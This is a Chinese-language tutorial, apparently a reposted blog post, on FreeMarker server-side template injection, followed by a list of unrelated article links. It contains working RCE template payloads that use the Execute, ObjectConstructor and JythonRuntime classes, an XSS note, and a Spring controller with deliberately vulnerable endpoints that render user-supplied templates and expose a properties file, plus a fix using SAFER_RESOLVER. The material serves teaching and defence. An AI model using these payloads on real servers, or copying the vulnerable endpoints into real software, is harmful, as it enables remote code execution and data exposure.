当前位置: 首页 > news >正文

freemarker模版注入

Freemarker模版注入漏洞

    • 模版注入漏洞根因(SSTI,服务器端模版注入)
    • freemarker介绍
    • Freemarker模版注入漏洞关键点
    • 漏洞复现
      • 环境
      • 引入依赖
      • poc
    • 修复方案
    • 完整代码(包含修复)
    • 参考

模版注入漏洞根因(SSTI,服务器端模版注入)

由于模版内容部分或全部被外部控制,导致在模版加载或渲染到页面上时触发模版注入漏洞,模版注入漏洞一般可以造成RCE、敏感信息泄露和XSS,当模版被加载会触发RCE,当模版被渲染到页面上会触发敏感信息泄露和XSS。

freemarker介绍

FreeMarker 是一款模板引擎: 即一种基于模板和要改变的数据, 并用来生成输出文本(HTML网页,电子邮件,配置文件,源代码等)的通用工具。 它不是面向最终用户的,而是一个Java类库,是一款程序员可以嵌入他们所开发产品的组件。

FreeMarker类似XSLT模版,XSLT原理=xsl模版+xml数据,而Freemarker原理=flt模板+datamode

FreeMarker模板文件主要由如下4个部分组成:

  • (1)文本:直接输出的部分
  • (2)注释:使用<#-- ...-->格式做注释,里面内容不会输出
  • (3)插值:即${...}#{...}格式的部分,类似于占位符,将使用数据模型中的部分替代输出
  • (4)FTL指令:即FreeMarker指令,FTL标签和HTML标签有一些相似之处,但是它们是FreeMarker的指令,是不会在输出中打印的。 这些标签的名字以 # 开头,用户自定义的FTL标签则需要使用 @ 来代替 #

Freemarker模版注入漏洞关键点

  • Freemarker注入的本质就是用户输入可以控制模版的内容,导致模版的结构发生改变。Freemarker的漏洞触发发生在两个地方,第一个就是模版被加载的时候,这个时候触发的是RCE,第二个就是内容被输出到页面后方位该页面的时候,这个时候触发的是XSS。

    FreeMarker内置函数:

    • new:可创建任意实现了TemplateModel接口的Java对象,同时还可以触发没有实现 TemplateModel接口的类的静态初始化块。可以调用new的危险类:

      危险类说明
      freemarker.template.utility.JythonRuntime需额外安装依赖,否则报错
      freemarker.template.utility.Execute自带
      freemarker.template.utility.ObjectConstructor自带
    • API:value?api 提供对 value 的 API(通常是 Java API)的访问,由此可以使用危险的api函数

以下场景存在漏洞触发的风险:

  • 模版能够被用户控制
  • datamodel能够被用户控制

Freemarker大致代码如下:

Template template = configuration.getTemplate("freemarker_rce1.ftl");
Map map = new HashMap();
map.put("message", message);
Writer out = new FileWriter(TEMPLATE_PATH+"freemarker_rce1.html");
template.process(map, out);

一旦模版文件被控制,就会在调用getTemplate触发漏洞,这是第一个场景;一旦map被控制,就会在调用process时将恶意的脚本渲染到页面中,当页面被访问就会触发漏洞,这是第二个场景

有关于内置函数api:

(1)如果想要在模版中调用某个方法或对象,需要将其传入datamodel

添加datamodel:

map.put("object", new Object());

调用object:

<#assign uri=object?api.getClass()><p>${uri}</p>

getClass即object的方法

(2)从 FreeMarker 版本 2.3.22 开始使用TemplateModelWithAPISupport规定可以使用的model:

ArrayModel: 用于表示 Java 中的数组。
BeanModel: 用于表示 JavaBeans,提供对属性和方法的访问。
BooleanModel: 用于表示布尔值。
CollectionModel: 用于表示 Java 集合。
DateModel: 用于表示日期和时间。
DefaultEnumerationAdapter: 将 Enumeration 适配为模板模型。
DefaultIterableAdapter: 将实现了 Iterable 接口的对象适配为模板模型。
DefaultIteratorAdapter: 将 Iterator 适配为模板模型。
DefaultListAdapter: 将 Java 的 List 适配为模板模型。
DefaultMapAdapter: 将 Map 适配为模板模型。
DefaultNonListCollectionAdapter: 将非列表类型的集合适配为模板模型。
EnumerationModel: 用于表示枚举值。
IteratorModel: 用于表示迭代器。
MapModel: 用于表示映射表。
NumberModel: 用于表示数字。
ResourceBundleModel: 用于表示资源束。
SimpleMapModel: 用于表示简单的映射表。
StringModel: 用于表示字符串。

比如,由于支持BeanModel,我们可以定义一个java Bean,实例化后通过DataModel传入到模版中,就目前看来,还没找到适合漏洞利用的一些api,参考连接中提供的部分POC与jdk 17似乎并不太适配,后续再看

另外还需要注意,支持以上Model的前提是setAPIBuiltinEnabled(true),以下是代码逻辑:

在这里插入图片描述

漏洞复现

java中支持Freemarker的依赖有以下两种:

  • spring boot:

    <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-freemarker</artifactId>
    </dependency>
    
  • maven自引

    <dependency><groupId>org.freemarker</groupId><artifactId>freemarker</artifactId><version>2.3.32</version>
    </dependency>
    
  • 如果还需要jpython

    <dependency><groupId>org.python</groupId><artifactId>jython-standalone</artifactId><version>2.7.2</version>
    </dependency>
    

环境

jdk 17 + Freemarker 2.3.32 + jpython 2.7.2

引入依赖

<dependency><groupId>org.freemarker</groupId><artifactId>freemarker</artifactId><version>2.3.32</version>
</dependency>
<dependency><groupId>org.python</groupId><artifactId>jython-standalone</artifactId><version>2.7.2</version>
</dependency>

poc

模版内容示例:

<html>
<head><meta charset="utf-8"><title>Freemarker rce</title>
</head>
<body>
<h3>show:${message}<#assign value="freemarker.template.utility.Execute"?new()>${value("calc")}</h3></body>
</html>

(1)RCE

<#assign value="freemarker.template.utility.Execute"?new()>${value("calc")}<#assign ex="freemarker.template.utility.Execute"?new()> ${ex("calc")}<#assign ccc="freemarker.template.utility.Execute"?new()> ${ccc("calc")}<#assign value="freemarker.template.utility.ObjectConst ructor"?new()>${value("java.lang.ProcessBuilder","calc").start()}<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc")

(2)XSS

插值注入,即向${...}#{...}格式的部分注入xss脚本即可

修复方案

2.3.17版本以后,官方版本提供了三种TemplateClassResolver对类进行解析:

  • UNRESTRICTED_RESOLVER:可以通过 ClassUtil.forName(className)获取任何类

  • SAFER_RESOLVER:不能加载 freemarker.template.utility.JythonRuntimefreemarker.template.utility.Executefreemarker.template.utility.ObjectConstructor这三个类。

  • ALLOWS_NOTHING_RESOLVER:不能解析任何类。

因此直接使用configuration.setNewBuiltinClassResolver设置为SAFER_RESOLVERALLOWS_NOTHING_RESOLVER即可,而对于危险内置函数api(api自2.3.22版本之后默认为false默认是关闭的),避免使用configuration.setAPIBuiltinEnabled(true);启用api即可

完整代码(包含修复)

package com.example.demo.vulnerability.template;import freemarker.cache.MultiTemplateLoader;
import freemarker.cache.StringTemplateLoader;
import freemarker.cache.TemplateLoader;
import freemarker.core.TemplateClassResolver;
import freemarker.template.Configuration;
import freemarker.template.Template;
import freemarker.template.TemplateException;
import freemarker.template.utility.JythonRuntime;
import org.python.util.PythonInterpreter;
import org.springframework.web.bind.annotation.*;
import java.io.*;
import java.net.URISyntaxException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;@RestController
public class FreeMarkerDemo {String TEMPLATE_PATH="C:\\code\\java\\demo\\demo\\src\\main\\resources\\static\\templates\\freemarker\\";//freemarker基本使用@GetMapping(value = "/template/freemarker")public void test() throws IOException, TemplateException {//1.创建配置类Configuration configuration = new Configuration(Configuration.getVersion());//2.设置模板所在的目录configuration.setDirectoryForTemplateLoading(new File(TEMPLATE_PATH));//3.设置字符集configuration.setDefaultEncoding("utf-8");//4.加载模板Template template = configuration.getTemplate("freemarker_xss.ftl");//5.创建数据模型Map map = new HashMap();map.put("name", "张三");map.put("message", "欢迎来到我的博客!");//6.创建Writer对象Writer out = new FileWriter(TEMPLATE_PATH+"freemarker.html");//7.输出template.process(map, out);//8.关闭Writer对象out.close();}//使用模版文件触发xss@GetMapping(value = "/template/freemarker/xss")public void xss(String name, String message) throws IOException, TemplateException {Configuration configuration = new Configuration(Configuration.getVersion());configuration.setDirectoryForTemplateLoading(new File(TEMPLATE_PATH));configuration.setDefaultEncoding("utf-8");Template template = configuration.getTemplate("freemarker_xss.ftl");if (name==null){name = "hello world";}if (message==null){message = "hello world";}Map map = new HashMap();map.put("name", name);map.put("message", message);Writer out = new FileWriter(TEMPLATE_PATH+"freemarker_xss.html");template.process(map, out);out.close();}//恶意模版文件被加载导致RCE@GetMapping(value = "/template/freemarker/rce1")public void rce1(String message) throws IOException, TemplateException {Configuration configuration = new Configuration(Configuration.getVersion());configuration.setDirectoryForTemplateLoading(new File(TEMPLATE_PATH));configuration.setDefaultEncoding("utf-8");configuration.setAPIBuiltinEnabled(true);Template template = configuration.getTemplate("freemarker_rce1.ftl");if (message==null){message = "hello world";}Map map = new HashMap();map.put("message", message);Writer out = new FileWriter(TEMPLATE_PATH+"freemarker_rce1.html");template.process(map, out);out.close();}//用户输入直接修改模版内容@PostMapping(value = "/template/freemarker/rce2")public void rce2(String content) throws IOException, TemplateException {Configuration configuration = new Configuration(Configuration.DEFAULT_INCOMPATIBLE_IMPROVEMENTS);configuration.setDirectoryForTemplateLoading(new File(TEMPLATE_PATH));configuration.setDefaultEncoding("utf-8");//启用内置函数api,函数new默认是可以使用的,无需手动启用configuration.setAPIBuiltinEnabled(true);StringTemplateLoader stringLoader = new StringTemplateLoader();stringLoader.putTemplate("freemarker_rce2.ftl", content);configuration.setTemplateLoader(new MultiTemplateLoader(new TemplateLoader[]{stringLoader,configuration.getTemplateLoader()}));Template template = configuration.getTemplate("freemarker_rce2.ftl");Map map = new HashMap();map.put("object", new Object());map.put("file",new String(Files.readAllBytes(Paths.get("C:\\code\\java\\demo\\demo\\src\\main\\resources\\application.properties"))));Writer out = new FileWriter(TEMPLATE_PATH+"freemarker_rce2.html");template.process(map, out);out.close();}//修复@GetMapping(value = "/template/freemarker/repair1")public void repair1(String message) throws IOException, TemplateException {Configuration configuration = new Configuration(Configuration.getVersion());configuration.setDirectoryForTemplateLoading(new File(TEMPLATE_PATH));configuration.setDefaultEncoding("utf-8");Template template = configuration.getTemplate("freemarker_rce1.ftl");//禁止使用ObjectConstructor和Execute,另外api自2.3.22版本之后默认为false默认是关闭的//2.3.17版本开始可以设置此配置,configuration.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);if (message==null){message = "hello world";}Map map = new HashMap();map.put("message", message);Writer out = new FileWriter(new File(TEMPLATE_PATH+"freemarker_rce.html"));try{template.process(map, out);}catch (Exception e){System.out.println(e);}out.close();}public static void main(String[] args) throws URISyntaxException, IOException {//jython测试
//        PythonInterpreter interpreter = new PythonInterpreter();PythonInterpreter interpreter = new JythonRuntime();
//        new JythonRuntime();// 可以设置变量供 Python 脚本使用interpreter.set("myVar", "Hello, World!");// 执行 Python 脚本try {interpreter.exec("import os;os.system(\"calc\")");} catch (Exception e) {e.printStackTrace();}}
}

参考

  • 渗透测试XSLT - FreeBuf网络安全行业门户
  • Java安全之freemarker 模板注入 - nice_0e3 - 博客园 (cnblogs.com)

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 锂电池规格 —— 参数解读
  • 【IAR】IAR中使用内联函数
  • Linux系统中的HTTP协议
  • 医疗信息化系统:HIS、LIS、EMR、PACS、RIS等系统概览
  • 盘点16款仓库管理系统,助力企业选型!
  • dubbo:dubbo+nacos整合springcloud gateway实现网关(三)
  • 应用商场的搭建
  • Git Submodule 常用命令详解
  • FastGPT如何增减用户
  • React项目-less、antd配置
  • 半路出家程序员感受:非科班出身如何转行程序员? 答案在这
  • VTK随笔一:初识VTK(QT中嵌入VTK窗口)
  • Java方法的使用
  • 快排里面找基准值的算法
  • threadlocal的一些用法,以及如何解决可重入分布式redis锁
  • DOM的那些事
  • ECS应用管理最佳实践
  • exports和module.exports
  • extract-text-webpack-plugin用法
  • HTTP 简介
  • JS进阶 - JS 、JS-Web-API与DOM、BOM
  • Redis 懒删除(lazy free)简史
  • use Google search engine
  • Work@Alibaba 阿里巴巴的企业应用构建之路
  • 简析gRPC client 连接管理
  • 将 Measurements 和 Units 应用到物理学
  • 实现菜单下拉伸展折叠效果demo
  • 提醒我喝水chrome插件开发指南
  • 微信公众号开发小记——5.python微信红包
  • 用jquery写贪吃蛇
  • 原生Ajax
  • ​ 无限可能性的探索:Amazon Lightsail轻量应用服务器引领数字化时代创新发展
  • # 利刃出鞘_Tomcat 核心原理解析(二)
  • (145)光线追踪距离场柔和阴影
  • (4)事件处理——(7)简单事件(Simple events)
  • (6) 深入探索Python-Pandas库的核心数据结构:DataFrame全面解析
  • (C语言)逆序输出字符串
  • (NO.00004)iOS实现打砖块游戏(十二):伸缩自如,我是如意金箍棒(上)!
  • (二)windows配置JDK环境
  • (仿QQ聊天消息列表加载)wp7 listbox 列表项逐一加载的一种实现方式,以及加入渐显动画...
  • (附源码)spring boot网络空间安全实验教学示范中心网站 毕业设计 111454
  • (理论篇)httpmoudle和httphandler一览
  • ***linux下安装xampp,XAMPP目录结构(阿里云安装xampp)
  • ***php进行支付宝开发中return_url和notify_url的区别分析
  • .NET Core实战项目之CMS 第十二章 开发篇-Dapper封装CURD及仓储代码生成器实现
  • .NET Framework 服务实现监控可观测性最佳实践
  • .net之微信企业号开发(一) 所使用的环境与工具以及准备工作
  • /bin/bash^M: bad interpreter: No such file ordirectory
  • [ element-ui:table ] 设置table中某些行数据禁止被选中,通过selectable 定义方法解决
  • [20150904]exp slow.txt
  • [AI 大模型] 百度 文心一言
  • [Android 13]Input系列--获取触摸窗口
  • [Android]使用Retrofit进行网络请求
  • [CISCN2019 华北赛区 Day1 Web2]ikun
  • [Codeforces] probabilities (R1600) Part.1